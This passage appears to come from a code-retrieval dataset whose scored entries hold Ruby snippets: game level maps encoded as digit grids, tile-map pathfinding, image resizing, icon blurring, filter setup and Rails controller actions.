000000001111110000555511111111111111111111000000001_11111111000000000005555555000000000001111110000555555500001111110000000000000001_11111111000000001111115555000011111111111111111111555500001111110000000011111111_11111111000000001111115555000011111111111111111111555500001111110000000011111111_11111111000055551111115555000011111111111111111111555500001111110000000011111111_11111111000055551111110000000011111111111111111111000000001111110000555511111111_11111111000055551111110000000011111111111111111111000000001111110000555511111111_11111111000055551111110000000011111111111111111111000000001111110000555511111111_11111111000000000000000000000000000001111110000000000000000000000000555555500001_11111111111111100000000111111000000001111110000000011111100000000111111555500001_11111111111111100555500111111004444001111110044440011111100000000111111555500001_11111111111111100555500111111004444001111110044440011111100000000111111555500001_11111111111111100555500111111004444001111110044440011111155550000111111555500001_11111111111111100555500111111004444001111110044440011111155550000111111000000001_11111111111111100000000111111000000001111110000000011111155550000111111000000001_11111111111111100000000111111000000000000000000000011111155550000000000000000001_11111111111111111111111111111111111100000000111111111111111111110000000011111111_11111111111111111111111111111111111100000000111111111111111111110000000011111111_11111111111111111111111111111111111100000000111111111111111111110000000011111111_11111111111111111111111111111111111100000000111111111111111111110000000011111111',\n skill_mean: 27,\n ),\n Map.new(\n name: 'Temple City',\n data: 'color_cfcfe6-00000000000000000000000000000000000000000000000000000000000000000000000000000002_00000000000000000000000000000000000000000000000000000000000000000000000000000000_00000000000000000000000000000000000000000000000000000000000000000000000000000000_00000000000000000000000000000000000000000000000000000000000000000000000000000000_00000000000000000000000000000000000000000000000000044000000000000000000000000000_00000000000000000000000000000000000000000000111111144000000000000000000000111111_00000055000000000000000000000000000000000005511111111000000000000000011111111111_00000000550000000000000444000000000000055555511111111000000000005555111111111111_00000000055500000000000044400000000000555555551111111000000000000055555555511111_00000000000550000000000000000000000000000000055551111000000000000000000005555111_00000000005555555000001111111111000000000000000000000000000000000000000000000000_00000000000005555555511111111100000000000000000000000000000000000000440000000000_00000000000000055555511111111000000000000000000000000000555111111111440000000000_00000000000000000005551111110000000000000000000000000055555511111111110000000000_55500000000000000000055111000000000000000000000000000000005555111111110000000000_05555511100000000000000000000000000000000000000000000000000055551110000000000000_00051111000000000000000000011100000000000000000000000000000000000000000000000000_00005110000000000000000000551100000005511110000000000000000000050550000000000000_00000000000000000000000000000000000000051100000000000000000005555555000050000000_00000000000000000000000000000000055500000000000000000000000555555555555500000000_00000000000000000055551100555555555555000000000000000000555550005005055550050000_00000000000010100000555555555055101555505550000000000505550050000000005555555005_00000000000110110000555555500001101100555555550550055555550000000000000000555555_00000000000110110055550000000001101100005555555555555555500000000000000000005505_00000000011110111155500000000111101111000000550005555500000000000000000000000555_00000000011500051150000000000115000011000000000005550000000000000000000000000005_00000000011500551150000000000000000511000000000055500000000000000000000000000000_00000555011500051100000000005110000511000000005055000000000000000000000000000000_50555551111100111111100055111111100111110000000550500000000000000000000000000000_55055551150001151441100005114415110000110000005500000000000000000000000000000000_55550551150011551441100000114415511000110000555500000000000000000000000000000000_55555551100110051441100000114415001100110055555000000000000000000000000000000000_55000001100000001441100000114410000000110005550000000000000000000000000000000000_00000001111000001441100000114410000011115555550000000000000000000000000000000000_00000001101100001441100000114410000115115555000000000000000000000000000000000500_00000001100110000001100000110000001155115000000000000000000000000000000000005500_00000001111111011111100000111111011151115000000000000400400400000000000055505000_00000001100400001441100000114410000555150000000000000101110100000000000050550000_00000001100400001441150000114410000555510000000000000111511100000000000000055550_00000001104440001441150000114410005550115000000000040001510004000000000000005550_00000001100400001441100000114410005500115500000000010111511101000000000005505050_00000001100000001441150000114410055000100555000000011155555111000000000555055000_00000001100000001441155000114410050000000005000004000111111100040000005000055000_00000001100000000001100000110000000000110000000001011155555111010000005500005050_00000001111001111111100000111111110011110000000001110000000001110000000000055500_00500001101100051551100055115515000115110000000400011111111111000400000000005500_05500001100110051551100005115515001155110000000101114444444441110100000000000500_05505001111111011111100000111111011111110000000111000000000000011100000000000500_00555001100400000001100000110000000400110000000010040040004004001000000000005500_00500001100400000001100000110000000400115000000010010010001001000000000000055500_00500001104440000001100000110000004440115000000111111111011111111100000000555000_00500001100400000501100000110000000400115500001111111111011111111110000005555500_11111111100000005500000000000000000000111111111111111111011111111111111111111111_11111111111111111111111111111111111111111111111111111111011111111111111111111111_11111111111111111111111111111111111111111111111111111111011111111111111110000011_11111111111111111111111111111111111111111111111111111111011100110011001110030011_11111111111111111111111111111111111111111111111111111111000000000000000000111011_11111111111111111111111111111111111111111111111441144111011111111111111111111111_11111111111111111111111111111111111111111111111440044000011111111111111111111111_11111111111111111111111111111111111111111111111111111111111111111111111111111111',\n skill_mean: 30,\n ),\n Map.new(\n name: 'Moon Launcher',\n data: 'color_7070ae-00000000000000000000000000000000000000000000000000000000000000000000000000000000_00000050000000000000000000000000000000000000000000000000000000000000000000000000_00000000000000005000000000050000000000000000000000050000000000000005000000000000_00000000000000000000000000000000000050000000000000000000000000000000000000000000_00000000000000000000000000000000000000000000000000000000000000000000000000005000_00000000005000000000000000000000000000000000000000000000000000000000000000000000_00000000000000000000000000000000000000000000000000011100000000000000000000000000_00000000000000000000500000000000000000000000000000111110000000000000000000000000_00000000000000000000000000000000000000000000000001101111000050000000000000000000_00000000000000000000000000050000000000000000000001111011000000000000000000000000_00000000000000000000000000000000000000000000000001101111000000000000044440000000_00000000000000000000000000000000000000000004000000111110000000000000411114400000_00000000000000000000000000000000000000000004000000011100000000000000111111140000_05000000000000000000000000000000000000000004000000000000000000000000000111114000_00000000000000000000000000000050000000000000000000000000000000000000000011111000_00000000000000000000000000000000000000000004000000000050000000000000000011111400_00000000500000000000500000000000000000000000000000000000000000000000000001111100_00000000000000000000000000000000000000000000000000000000000000000000000001111100_00000000000000000000000000000000000000000004000000000000000000000000000001111100_00000000000000000000000000000000000000000000000000000000000000000000000001111100_00000000000000000000000000000000000000000000000000000000000000000000000011111000_00000000000000000000000000000000000000000000000000000000005000000000000011111000_00000000000005000000000000000000005000000004000000000000000000000000030111110000_00000005000000000000000000000000000000000000000000000000000000000000111111100000_00000000000000000000000000000000000000000000000000000000000000000000011110000000_00000000000000000000000000000000000000000010100000000000000000000000000000005000_00000000000000000000000000000000000000000114110000000000000000000000000000000000_00000000000000000000000000005000000000000110110000000000000000000000000000000000_00000000000000000000000000000000000000000110110050000000000000000000000000000000_00000000000000000000000000000000000000000110110000000000000000000000000000000000_00000000000000000000000000000000000000000114110000000000000500000000000000000000_00000000000000000000000000000000000000000110110000000000000000000000000000000000_00000500000000000000000000000000000000000010100000000000000000000000000000000000_00000000000000000000000050000000000000000114110000000000000000000000000000000000_00000000000000000000000000000000000000000010100000000000000000000000000000000000_00000000000000000000000000000000000000000110110000000000000000000000000000000000_00000000000000000000000000000000000000000014100000000000000000000000000000000000_00000000000000000000000000000000000000000110110000000000000000000000000000000000_00000000000000000000000000000000000000000010100000000000000000000000000000000000_00000000000000000000000000000000000000000014100004440000000000000000000000000000_00000000000000000000000000000000000000000010100000000000000000000000000000000000_00000000000500000000000000000005000000000010100000000000000500005000000005000000_00000000000000000000000000000000000000000014100000000000000000505000000000000000_00000000000000000000000000000000000000000010105500000051111111111111111111111101_05000000000000000000000000000000000000055014105500000051115101515101010101010001_00000000000000000000000000000000000000055010105500000051010000005000000000010111_00000000000000000000000000000000000000011014101100000000000000000000000101010001_00000000000000000000000000000000000000011010101100000000000000000000000111011101_00000000000000000000000000000000000444011004001100000000004400000000000001010001_00000000000000000000000000000000000444011111111101111111111100000000000001010111_00001001110101011010110101010001100111011111111100100001001100044000000001000001_00001001110101011110100111011001110111111110111100100411000000011000000001010111_00001101010111010110110101011101010010011510151101110001000011111111100001010001_00000000000000000000000000000000000010011510151101110411000011010000000001011101_11111111111111111111111111111111111111111510151100000001000000010000000001010001_00000000000000000000000000000000000000011511151100000411000000010000000001010111_00000000000000000044400000004440000000111111111110000001000500010000050001010001_00000000000000000000000000000000000000111110111110000411055550010005555551011101_02000000000000000000000000000000000000000000000000000001555555515555555511110001_11111111111111111111111111111111111111111111111111111111111111111111111111111111',\n skill_mean: 32,\n ),\n Map.new(\n name: 'Garden of Giants',\n data: 'color_ecbfc4-00000000000000000000000000000000000000000000000000000000000000000000000444410000_00000000000000000000000000000000000000000000000000000000000000000000000044410000_00000000000000000000000000000000000000000000000000000000000000000000000004410000_00000000000000000000000000000000000000000000000000000000000000000000000000410000_00000000000000000000000000000000000000001000000000000000000000000000000000010000_00000000000000000000000000000000000000001000000000000000000000000000000000010000_00000000000000000000000000000000000000001000000000000000000000000000000000010000_00000000000000000000000000000001000000001000000000000000000000000000000000010000_00000000000000000000000000000001000000000000000000000000010000000000000000000000_00000000000000000000000000000001000000000000000000000000010000000000000000000000_00000000000000000000000000000001000000000000000000000000010000000000000000000000_00000000000000000000000000000001000000000000000000000000010000000000000000000000_00000000000000000000000000000000000000000000000000000000010000000000000000000000_00000000000000000000000000000000000000000000000000000000000000000000000000000000_00000000000000000000000000000000000000000000000000000000000000000000000000000000_00000000000000000000000000000000000000100000000000000000000000000000004400000000_00000000000000000000000000000000000000100000000000000000000000000000001100000000_00000000000000000000000000000000000000100000000000000000000000001000001101000000_00000000000000000000000000000000000000100000000000000000000000001000001111100000_00000000000000000000000000000000000000100000000000000000000000001000001110110000_00000000000000000000000000000000000000100000000000000000000555000000001100011000_00000000000000000000000000000000000000100000000000000000005505500000011001001100_00000000000000000000000000000000000000100000000000000000055000550000111011101110_00000000000000000000000000000000000000000000000000000000005050050000001011100000_00044440000000000000000000000000000000000001000000000000005550050000001011101000_00444400000000000000000000000000000000000001000000000000000000055000001000001000_00044000000000000040000000000000000000000000000000000000000000055000001000001001_00000000000000000000000000000000000000000000000000000014000000050000001110111001_10000000110000000000000000000000000000000000000000000014000000550000001110111011_10000001100000000000000000000000000000000000000000000014000000550000000010100011_10000011000000000000000000000000000000000000000000000014000055555000000010100011_10000110000440000000000000000000000000000000000000000014000555555000000010100011_11100000000444000000000000005000000000000000000000000014000550005500000010111111_10110000000000000000000000005500000000000000000000000014005550505500000010000001_10011000000000000000000000000500000000000000000000000014005550505500000010000001_10001100000000000000000000000500000000000000000005550014005550555000000011111101_10000000110000000000000000000501111444000000000050050014005550000000000011111101_10000001100000000000000000000500011111440000000050000014000550000000000001110101_10000011000000000000000000000550001011110000000005555014000505000000000000110101_10000110000000000000000000000050000010000000000000500514000555000000000000110001_11100000000000000000000000000055000010000000000005505514000055500005555000010001_10110000000000000000000000000005000000000000000005500010005055500055055555000001_10011000000000000000000000000005000000000000000000550010005005505550005555500001_10001100000000000000000000000005000000000000000000005010050005555500000005500001_10000000110000000000000000000005000000000000000000005515005055555000000005550001_10000001100000000000000000000055000000000000000000000515005555550000000000550001_10000011000000000000000000000050000000000000000000005015505550550000000300550001_10000110000000000000000000000050000000000000000000055015505000550000011100050001_11100000000000000000000000000050000000000000000500050555555000550000110000050001_10110000000000000000000000000055000000000000000500055055555500050001100000550001_10011000000000000000000000000055500000000000000500505555555550550000000005500001_10001100000000000000000000000005500000000000005500555055500505050000005555000001_00000000110000000000000000000000500000000000005000055055555005550000000555000001_00000001100000000000000000000055550000000000055500050555505055050111000000000001_20000011000000000050000000000055550000000050055000550555005555550001100000000001_11111110000005000050000000000055155000000555005500000555555055550000110000000001_10050050000055005550050000005005555005005515005055015555055555555500011000000001_10555055500050555050555005550515015505550501000555555555005005050500001100000001_10555555555050555555055055505555555115055100550510555555015505555505000110000001_15555555555555555555555555515555555555550505505055500155505550055055500011111111',\n skill_mean: 34,\n ),\n Map.new(\n name: 'Pyramid Dimension',\n data: 'color_c17c7a-00000000000000000000000000000000000000000000000000000000000000000000000000000000_00000000000000000000000000555555555555555555555555555000000000000000000000000000_00000000000000000000000000055555555555555555555555550000000000000000000000000000_00000000000000000000000000005555555555555555555555500000000000000000000000000000_00000000000000000000000000000555555555555555555555000000000000000000000000000000_00000000000000000000000000000055555555555555555550000000000000000000000000000000_00000000000000000000000000000005555555555555555500000000000000000000000000000000_00000000000000000000000000000000555555555555555000000000000000000000000000000000_00000000000000000000000000000000055555555555550000000000000000000000000000000000_00000000000000000000000000000000005555555555500000000000000000000000000000000000_00000000000000000000000000000000000555555555000000000000000000000000000000000000_00000000000000000000000000000000000055555550000000000000000000000000000000000000_00000000000000000000000000000000000005555500000000000000000000000000000000000000_00000000000000000000000000000000000000555000000000000000000000000000000000000000_00000000000000000555555555555555000000050000055555555555555555550000000000000000_00000000000000000055555555555550000004444400005555555555555555500000000000000000_00000000000000000005555555555500000440050044000555555555555555000000000000000000_00000000000000000000555555555000004400050004400055555555555550000000000000000000_00000000000000000000055555550000004400050004400005555555555500000000000000000000_00000000000000000000005555500000001100050001100000555555555000000000000000000000_00000000000000000000000555000000000100010001000000055555550000000000000000000000_00000000000000000000000050000000000100010001000000005555500000000000000000000000_00000000000000000000000000000000000100010001000000000555000000000000000000000000_00000000000000000000000000000000000144414441000000000050000000000000000000000000_00000000000000000100000000000000000144414441000000000000000004000000000000000000_00000000000000001110000000000000000144414441000000000000000044400000000000000000_00000000000000011111000000000000000144414441000000000000000444440000000000000000_00000000000000111111100000000000000100414001000000000000004444444000000000000000_00000000000005555555550000000000000100414001000000000000011111111100000000000000_00000000000000555555500000000000000100414001000000000000001111111000000000000000_00000000000000055555000000000000000102414001000000000000000111110000000000000000_00000000000000005550000000500000000111111111000000004000000011100000000000000040_00000000000050000500000005550000000000010000000000044400000001000050000000000440_00000000000555000000000055555000000000111000000000444440000000000555000000004440_00000000005555500000000555555500000001111100000004444444000000005555500000044440_00000000055555550000001111111110000011111110000011111111100000055555550000111110_00000000555555555000000111111100000111111111000001111111000000555555555000011110_00000005555555555500000011111000001111111111100000111110000005555555555000001110_00000055555555555550000001110000011111111111110000011100000055555555555000000110_00000555555555555555000000100000111111111111111000001000000555555555555005000010_00005555555555555555500000000001111111111111111100000000005555555555555005500000_00055555555555555555550000000011111111111111111110000000055555555555555005550000_00555555555555555555555000000111111111111111111111000000555555555555555005555000_05555555555555555555555500001111111111111111111111100005555555555555555005555500_55555550555555555555555550011111111111111111111111110055555555555555555005555550_55555500055555555555555555111111111111111111111111111555555555555555555005555555_00000001000000005500000000000000000000000000000000000000000000000000000001000000_00000011100000005500000000000000000000000000000000000000000000000000000001100000_00000113110000005500111111111111100000000000001111111111111000000000000001110000_00110000000110005500011111111111000000000000000111111111110000000000000001111000_04144441444414005500011111111110000000015000000011111111100000001000000001111100_04144411144414005000010111111100000000115500000001111111000000011000000001111110_04144111114414005000010011111000000001115550000000111110000000111000000001111111_04141115111414000000010001110000000011115555000000011100000001111000000001111111_04111151511114000000010000100000000111115555500000001000000011111000000001111111_04111515151114000000010000000000001111115555550000000000000111111000000001111111_01111111111111000000010000000000011111115555555000000000001111111000000001111111_00555555555550000000010000000000000000000000000000000000000000000000000001111111_00055555555500000000010000000000000000000000000000000000000000000000000001111111_00005555555000000000000000000000000000000000000000000000000000000000000000000000',\n skill_mean: 38,\n ),\n Map.new(\n name: 'Diving with Whales',\n data: 'color_6c87d6-00000000000000000000000000000000000000000000000000000000000000000000000000000000_00000000000000000000000000000000000000555500000000000000000000000000000000000000_00000000000000000000000000000000000055000550000000000000000000000000000000000000_00000000000000000000000000000000000050000550000000055555000000000000000000000000_00000000000000000000000000000000000050005500000000550005500000000000005555500000_00000000000000000000000000000555000055000000000000550000550000000000055555550000_00000000000000000100000000000500500005550000000000550000550000000000555505550000_00200000000000000110000000000000500000005555555000055000550000000055500000055000_00100000000000000111100000000000500000000000000000000000550000505550000000005000_00110000000000001144100000000000500055500000000000000005500000000000000500050000_00011000000000001140110000000005000550050004000055555555000000000000000055500000_00001100000005001400110000005550005500000041000000000000000000000000000000000000_05000110001105511010111055555550005500000411000000000000000000000000000000000000_05550110111115110100111055050500005500004111000000000000000000000000000000000000_00055511100411101100000055005500000550001111000000000000000000000000000000000000_00005511004011101000111055500500000555000001030000000000000000000000000055500005_50050110040111011000115555555550115555501111111000550001110000000000000555000555_05555100401110010000115555115555555555555111115555555511111111110000055055555555_55551104011110100051155555555555555555555555555505501111111111111100000000055055_00011040011101100551155055505550000000055555500050011111111111111111000000000000_55510400111411000511000000000000000000000000000500111111111111111111111000000000_50011001114010000111000500000000000000000000005501111111111000001111111100000000_55501100040000110110500000000000000000000000055011111111100000000001110000000000_00005110400001155100000000000000000000000000055011111111100000000001110000000000_05505110000011551100000000000050000000000000050111111111100000000000111000000000_00501100001115511055550005555005500000000000050111111111110000000000000000000000_55501000011000111550055500000000000005500000501111111101111000000000000000000005_50010000000000000000000000000000005555000000501111111000111000000000000000000555_00115000000001100000000000000055550000000005001111110000000000000000000000055550_01155555000011000000000005505500000000000000001111100000000000000000000000000000_11555555555110000000000000000000000000000000000110000000000000000011110000000000_11111555511100000000000000000000000000000000055500000000000000001111100000000000_00111111110000000000055555555500000000000055500000000000000000011111100000000000_00000000000000000000111111115555500055005550000000000000000011111111000000000000_00100000000000000011111111111155555500555000000000000000001111111111110000000000_01111000000000000111111111111111555555000000000000000001111111111111111000000000_00100000000000000111111111111111100000000000000000000111111111111011111100000000_00000000000000000011111111111111111000110000000001111111111111100000011110000000_00000000000000000001111111111111111111111100000111111111111110000000000000000000_00000000000000000000011111111111111111111111111111111111111000000000000000000000_00000000010000000000001111111111111111111111111111111111110000000000000000000000_01000000111100000000000111111111111111111111111111111111100000000000000000000000_00000000010000000000000011111111111111111111111111111111000000000000000000000000_00000000000000000111000011111111111111111111111111111110000000000000000000001000_00000000000000000011100001111111111111111111111111111100000000000000000000011110_00001100000000000000000000111111111111111111111111110000000000000000000000001000_00000000000000000000000000011111111111111111111111000000000000010000000000000000_00000000000000000000000000011111111111111111111100000000000000000000000000000000_00000000000010000000000000011111111111111111110000000000000000000000000000000000_00000000000111110000000000011110011110000000000000000000000000000000000000000000_00000000000010000000000000011100011110000000000000000000001000000000000000000000_00001000000000000000000000111100011100000000000000000000000000000000000000000000_00011110000000000000000000111100011100000000000000000000000000000001000000000000_00001000000000000000000000111000011110000000000000001000000001000000000000000000_00000000001110000000000000011000001110000000000000011110000000000000000000000000_00000000001000000000000000000000000110000000000000001000000000000000000010000000_00000000000000000000000000000000000000000000000000000000001000000000000111100000_00000001000000000000000000000000000000000000000000000000011110000000000010000000_01000000000000000000000111000000000000011000000000000000001000000000000000000000_00000000000000000000000000000000000000000000000000000000000000000000000000000000',\n skill_mean: 40,\n ),\n Map.new(\n name: 'The Astral Ascent',\n data: 'color_ff6666-00000000000000000000000000000000000000000000000000000000000000000000000000000000_00000000000000000000050000000000000000000000000005000000000000000000000000000000_00000000000000000000000000000000004000000000000000000000000000000000000000000000_00000005000000000000000000000000000004000000000000000000000000000000000500000000_00000000000000000000000000000040000000000000000000000000000000000000000000000000_00000000000000000000000000000000000000000000000000000000005000000000000000000000_00050000000000000000000000004000000000000000000500000000000000000000000000000000_00000000000000000040000000000000000000000000000000000000000000000000000000000000_00000000000000000400000000000000000000040000000000000000000000000000050000000000_00000000000000000000000000111100000000040000000000000505000055000000000000000000_00000000050000000000000005511500000000040000000000005555555500000000000000000000_00000000000000000000005555555505000000040000000500055550555555555000000000000000_00000000000000000000055500005055000000000000000505055550000005055500000000050000_00000000000000030000550000000005555000000000555555555500000000005550000000000000_00005000000001111155050000000400055501101100055550000000000000000050000000000000_00000000000001000155000000000000005550101000555500000000000000000050000000000000_00000000000001020150000000000000000550101005555050000000000000000050000000000000_00000000000041000150000000000000000555101005555000000005000000000000000000000000_00000000000011141110000000041114000051101105550000000000000000000000000000000000_00000000000001000100000000000100000555101555550000000000000000000000000000500000_00000005000001141100000000000100000055101555550000000000000000000000000000000000_00000000000001000100000000000100000005101555555500000000000050000000000000000000_00000000000001141100000000004100000055101555550000000000000000000000000000000000_00500000000041000100040000040100000005101555000000000500000000000005000000000000_00000000000011141110110000011111400001101100000000000000000000000000000000000000_00000000000001000000155555511111400555101555550000000000000000000000000000000000_00000000000001111111155555511111400055101555550500000000000000000000000000000000_00000000000005555500040044004400005555101555555050000000050000000000000000000000_00000500000005555500000000000000005555101555555505000000000000000000000000000000_00000000000005555500550055005500555555101555555055550000000000000000000000000000_00000000000005555500551155115511555555101555555555555500000000000000500000000000_00000000005005555500551155115511555555101555555555555550000000000000000000000000_00000000000005555500000044004400000400101555555505555500000000000000000000005000_00000000000005555500000000000000000000101555555505505050000000000000000000000000_00050000000005555511004055005500555000101555555550500055500500005550000000000000_00000000000005555511001155115511555000001555555555505505555055555005550000000000_00000000000005555500001155115511555111111555505500555055050000000000005000000000_00000000000005055500000005555555555555555555555505555555505000000000000000000000_00000000500000050500000005555555055555555555500555505505500000000000000000000000_00000000000000000500000000055555500005555505000000055505055505500000000000000000_00000000000000000500000000000500055500050000000000005055000555000000500000000000_00005000000000000000000000000000000000000000000000000055000000500000000000000000_00000000000000000000005000000000000000000000000000000050000000055500000000000000_00000000000000000000000000000000000000000000000000055500000000000550000000000000_00000000000000500000000000000000000000000000500000055500000000000050000000000000_00000000000000000000000005000000000000000000000000555000000000000055000000050000_00000000000000000000000000000000000000000000000000000000000000000000000000000000_00000000000000000000000000000000000005000000000000000000000000000000000000000000_00000005000000000000000000000000000000000000000000000000000000000000000000000000_00000000000000000000000000000000000000000000000000000000000000000000000000000000_00000000000000000000000000000000000000000000000000000000000500000000000000000000_00000000000000000050000000000000000000000000000000000000000000000000000000000000_00000000000000000000000000000000000000000500000000000000000000000000000000000000_00000000000000000000000000000000000000000000000000000500000000000000000500000000_00005000000000000000000000000000000000000000000000000000000000000000000000000000_00000000000000000000000000000050000000000000000000000000000000000000000000000000_00000000000000000000000000000000000000000000000000000000000000000000000000000000_00000000000000000000000000000000000000000000000000000000000000000000000000000000_00000000000000000000000000000000000000000000000000000000000000000000000000000000_55555555555555555555555555555555555555555555555555555555555555555555555555555555',\n skill_mean: 44,\n ),\n Map.new(\n name: 'Mothership Warp',\n data: 'color_339999-00000000000000000000000000000000000000000000000000000000000000000000000000000000_00000000000000000000000000000000000000000000000000000000000000000500000000000000_00000000000000000000000000000000000000000000000000000000000000000550000000000000_00000000000000000000000000000000000000000000000000000000000000000555000000000000_00000000000000000000000000000000000000000000000000000000000000000555000000000000_00000000000000000000000000000000000000000000000000000000000000000555000000000000_00000000000000000000000000000000000000000000000000000000000000000555000000000000_00000000000000000000000000000000000000000000000000000000000000000555000000000000_00000000000000000000000000000000000000000000000000000000000000000555000000000000_00000000000000000000000500000000000000000000000000000000000000000555000000000000_00000000000000000000000550000000000000000000000000000000000000000055000000000000_00000000000000000000000555000000000000000000000000000000000000000005000000000000_00000000000000000000000555000000000000000000000000000000000000000005000000000000_00000000000000000000000555000000000000000005000000000000000000000005000000000000_00050000000000000000000555000000000000000055000000000000000000000005000000000000_00055000000000000000000555000000000000000555000000000000000000000005000000000000_00055500000000000000000555000000000000000555000000000000000000000005000000000000_00055500000000000000000055000000000000000555000000000000000000000005000000000000_00055500000000000000000005000000000000000555000000000000000000000005000000000000_00055500000000000000000005000000000000000555000000000000000000000005000000000000_00055500000000000000000005000000000000000555000000000000000000000000000000000000_00055500000000000000000005000000000000000550000000000000000000000000000000000000_00005500000000000000000005000000000000000500000000000000050000000000000000000000_00000500000000000000000005000000000000000500000000000000550000000000000000000000_00000500000000000050000005000000005000000500000000000005550000000000000000000000_00000500000000000050000005500000055000000500000000000005550000000000000000000000_00000500000000000050000005550000555000000500000000000005550000000000000000000000_00000500000000000050000005555005555000000500000000000005550000000000000000000000_00000500000000000010000055555005555500000500000000000005550000000000000000000000_00000500000000000010000055555005555500000100000000000005550000000000000000000000_00000500000000000010300055555005555500020100000000000005550000000000000000000000_00000000000000000011110055555005555500111100000000000005550000000000000000000000_00000000000000000015500055555005555500055100000000000005500000000000000000000000_00000000000000000015500055555005555500055100000000000005000000000000000000000000_00000000000000000015500055555005555500055100000000000005000000000000000000000000_00000000000000000015500055555005555500055100000000000005000000000000000000000000_00000000001111111115555555555005555555555100000000000005000000000000000000000000_00000000001555555555555555555005555555555100000000000005000000000000000000000000_00000000001000000000000055555005555500000100000000000005000000000000000000000000_00000000001000000000000005555005555000000100000000000005000000000000000000000000_00000000001000000000000000555005550000000100000000000005000000000000000000000000_00000000001004400000044000055005500000000100000000000005000000000000000000000000_00000000001001100000011000005005000000000100000000000005000000000000000000000000_00000000001001555555551000005000000000000100000000000005000000000000000000000000_00000000001000500000050000005000000000000100000000000000000000000000000000000000_00000000001000500000050000005000000000000100000000000000000000000000000000000000_00000000001000500000050000005000000000000100000000000000000000000000000000000000_00000000001000500000050000005000000000000100000000000000000000000000000000000000_00000000005000500050000000005000000000000100000000000000000000000000000000000000_00000000005000500050000000015000000000000100000000000000000000000000000000000000_00000000005000500050000000015000000000000100000000000000000000000000000000000000_00000000000000500050000001115000000000000100000000000000000000000000000000000000_00000000000000500055555555555555555500055100000000000000000000000000000000000000_00000000000000500000000000000000000000000100000000000000000000000000000000000000_00000000100000510000000000000000000000000100000000000000000000000000000000000000_00000000100000510044400000000000000000000100000000000000000000000000000000000000_00001111100000511111111000000000000000000100000000000000000000000000000000000000_00001000000000555555551000000000000000000100000000000000000000000000000000000000_00001000000000000000551000000000000000000100000000000000000000000000000000000000_00001000000000000000551000000000000000000100000000000000000000000000000000000000',\n skill_mean: 47,\n )\n ]\nend",
"title": ""
},
{
"docid": "aad46869b011919d59803607979b9045",
"score": "0.4236576",
"text": "def initialize(tiles = [], player)\n tiles.reject!{|p| p.x.nil? || p.y.nil? }\n\n @map = []\n @explored_area = []\n\n @known_floors = {}\n @last_seen_floors = {}\n @known_walls = {}\n @known_stashes = {}\n @seen_floors = {}\n @player = player\n\n x_dimension = tiles.map(&:x).sort.last\n y_dimension = tiles.map(&:y).sort.last\n\n if @@point_navigate_path.any? && !@@point_navigate_path.include?(@player.position)\n find_path_to_point(@@destination) # Our path has become corrupted - recalculate it!\n end\n @@free_space_path.delete(@player.position)\n @@point_navigate_path.delete(@player.position)\n\n tiles.each do |tile_point|\n coord = [tile_point.x, tile_point.y]\n case tile_point.type\n when 'floor'\n @known_floors[coord] = tile_point\n @last_seen_floors[coord] = -1\n when 'wall'\n @known_walls[coord] = tile_point\n when 'stash'\n @known_stashes[coord] = tile_point\n else\n raise \"Unknown type : #{tile_point.type}\" if tile_point.type\n end\n end\n\n for key in @last_seen_floors.keys\n @last_seen_floors[key] = @last_seen_floors[key] + 1\n end\n\n @pathfinder = Pathfinder.new(x_dimension, y_dimension)\n update_path_blocks(@known_walls.keys)\n\n create_map(x_dimension, y_dimension)\n end",
"title": ""
},
{
"docid": "95175a5d6b102cc3f848232268fe7048",
"score": "0.4235461",
"text": "def water_tiles\n puts @area.select { |_, v| '~|'.include?(v) }.keys.select { |_, y| y <= @max_y }.count\n puts @area.select { |_, v| v == '~' }.keys.select { |_, y| y <= @max_y }.count\n end",
"title": ""
},
{
"docid": "dcf68bcb6aab4a94242e2c5b48a51bfd",
"score": "0.422352",
"text": "def resize_to_height(height)\n manipulate! do |image|\n resize_image image, image.x_size, height\n end\n self\n end",
"title": ""
},
{
"docid": "02e69bd4f8394981208fe86626cbe6ce",
"score": "0.42162654",
"text": "def blur!(blur_distance)\r\n ones = get_ones\r\n\r\n @icon.each_with_index do |row, row_index|\r\n row.each_with_index do |item, col_index|\r\n ones.each do |found_row_index, found_col_index|\r\n if manhattan_distance(col_index, row_index, found_col_index, found_row_index) <= blur_distance\r\n @icon[row_index][col_index] = 1\r\n end\r\n end\r\n end\r\n end\r\n end",
"title": ""
},
{
"docid": "255d18245f542f51e271dc75c2e8d3c9",
"score": "0.42138162",
"text": "def filters; end",
"title": ""
},
{
"docid": "255d18245f542f51e271dc75c2e8d3c9",
"score": "0.42138162",
"text": "def filters; end",
"title": ""
},
{
"docid": "31b34ac092b0d7b2031a4da2610f84dd",
"score": "0.41985756",
"text": "def filters\n Categories::Country.includes(:provinces).map do |country|\n provinces = country.provinces.load\n\n Hash.new.tap do |ret|\n ret[:title] = country.name\n ret[:children] = generate_filters(provinces).tap do |ret|\n # prepend_filter_all ret, nil,\n # { params: { city: nil, province: province.id }}\n end\n end\n end\n end",
"title": ""
},
{
"docid": "41e3ed6d5df2aa329c4643dc69eed9eb",
"score": "0.4192815",
"text": "def init_filters\n\n @filters = Hash.new\n\n # set all column filters to the @default_filter\n @headers.each do |column_name|\n @filters[column_name] = @default_filter\n end\n \n end",
"title": ""
},
{
"docid": "06a835efe905043cf8e1ced632303369",
"score": "0.41920695",
"text": "def set_height(height) \n op = {:operation => :set_height, :height => height}\n add_operation op\n end",
"title": ""
},
{
"docid": "b0f8797843b49c12718ce1e1deaf135d",
"score": "0.41847453",
"text": "def generate_map\n map = make_random_map\n map = add_borders(map)\n map = ensure_adjacent_rooms(map)\nend",
"title": ""
},
{
"docid": "935fb914890cd47866390fe7b5c0c63c",
"score": "0.41835773",
"text": "def new\n @query = current_user.queries.new\n\n @new_filters = []\n (1..5).each do |num|\n @new_filters << @query.filters.new\n end\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @query }\n end\n end",
"title": ""
},
{
"docid": "9940d14eeb3a0413fe18bf4c291413df",
"score": "0.41817334",
"text": "def new\n @filter = Filter.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @filter }\n end\n end",
"title": ""
},
{
"docid": "9940d14eeb3a0413fe18bf4c291413df",
"score": "0.41817334",
"text": "def new\n @filter = Filter.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @filter }\n end\n end",
"title": ""
},
{
"docid": "9940d14eeb3a0413fe18bf4c291413df",
"score": "0.41817334",
"text": "def new\n @filter = Filter.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @filter }\n end\n end",
"title": ""
},
{
"docid": "9940d14eeb3a0413fe18bf4c291413df",
"score": "0.41817334",
